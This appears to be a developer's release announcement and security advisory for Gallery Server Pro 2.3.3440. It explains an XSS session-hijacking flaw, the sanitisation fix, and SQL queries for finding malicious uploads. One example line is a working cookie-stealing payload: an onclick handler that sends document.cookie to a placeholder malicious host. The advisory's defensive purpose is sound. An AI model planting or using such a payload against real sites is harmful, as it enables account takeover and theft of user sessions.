Today I posted version 2.3.3440 of Gallery Server Pro. It includes a couple minor features and several bug fixes. A complete list is on the Release History page. The QuickStart Guide with instructions for upgrading is on the Download page.
The most important bug fix is a cross-site scripting (XSS) vulnerability, and it affects all versions of Gallery Server Pro beginning with 2.1. Until you get a chance to upgrade to the latest version, I recommend you disable the ability to add external media objects. In the Site admin area, on the Media Objects - General page, uncheck the option as seen here:
In Depth: Cross-site scripting (XSS) vulnerability
But then version 2.3 introduced community galleries and self registration, and suddenly a much wider variety of users are able to add objects. Furthermore, I learned more about cross-site scripting attacks and learned how Gallery Server was vulnerable.
How serious is this vulnerability? In the worst case scenario, a hacker can log in to the gallery as a system administrator, meaning he or she can delete your media objects or change the settings in the Site admin area. This is accomplished by creating a specially crafted snippet of HTML and uploading it as an external media object. Each time the media object is viewed, the cookie of the user viewing it is sent to a remote web site, thereby putting it in the hands of the hacker. The hacker can then use the cookie to impersonate that user. For example, if an administrator viewed the malformed object, the hacker could subsequently log in as the gallery administrator and do anything the administrator can do. This is called session hijacking.
Note that this attack DOES NOT compromise the IIS configuration or allow the user to take over the web server. It appears to be restricted to allowing a hacker to log in under another gallery account.
It is possible this XSS vulnerability has other security implications, but as best I can tell this is the most important one to worry about.
What was changed
For 2.3.3440, the following changes were made:
- The scope of the configuration setting allowHtmlInTitlesAndCaptions was expanded to apply to external media objects. When false (the default value), the user is prevented from creating an external media object that contains HTML. (Note: It would be more appropriate to rename the setting allowUserEnteredHtml, but for the sake of backward compatibility and ease of upgrading the original name was preserved.)
- When HTML is explicitly enabled, the list of allowed HTML tags and attributes is severely restricted. They are listed in two new configuration settings in galleryserverpro.config: allowedHtmlTags and allowedHtmlAttributes. (Previously the list was hard-coded and applied only to the titles of albums and media objects.)
I believe when these settings are used at their default values Gallery Server Pro is protected against XSS attacks, session hijacking, and any other attacks I have studied.
These changes mean that in the default configuration users can add only plain text as external media objects. To make this feature more useful, an administrator will want to enable the HTML setting. I believe that users are still protected against attacks when HTML is allowed as long as the list of allowed HTML tags and attributes remain at their default values.
When HTML is enabled, the following HTML tags and attributes are allowed. An administrator can edit these on the User Settings page in Site Admin.
Tags: p, a, div, span, br, ul, ol, li, table, tr, td, th, h1, h2, h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote, address, pre, hr, img, dl, dt, dd, code, tt
Attributes: href, class, style, id, src, title, alt, target, name
You may still be vulnerable if you change the settings
Use caution when adding HTML tags and attributes to the "allowed" lists, especially event attributes such as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie to a remote web site and is a common technique used in session hijacking attacks to impersonate another user:
<p onclick="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>
Note that the following sample does not work and is therefore not a security risk:
<a href="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>
- The "Allow HTML" option on the User Settings page in the Site admin area now applies to external media objects in addition to captions and titles.
- If you previously enabled HTML in your gallery, then it is allowed but the HTML validator uses a slightly different list of valid HTML tags and attributes than what was previously hard-coded.
- There are no known vulnerabilities if you enable HTML with the default list of tags and attributes.
How to tell if your site has been compromised
If users have been able to add external media objects to your gallery, they may have already uploaded malicious code. The only sure way to determine if this has happened is to manually inspect the content of external media objects. This feature is not exposed in the UI, so you have to look in the database table. In your favorite SQL program (such as Management Studio for SQL Server or SQLite Manager for SQLite) run the following SQL:
SQLite: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LENGTH(ExternalHtmlSource) > 0
SQL Server: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LEN(ExternalHtmlSource) > 0
You will see the snippets of text that users entered when they added external media objects. If you see the text "document.cookie", that is a red flag. It is possible that a malicious user encoded the script to make it difficult to find, so be suspicious of any text you do not understand.
A tip for adding external media objects that use script or banned tags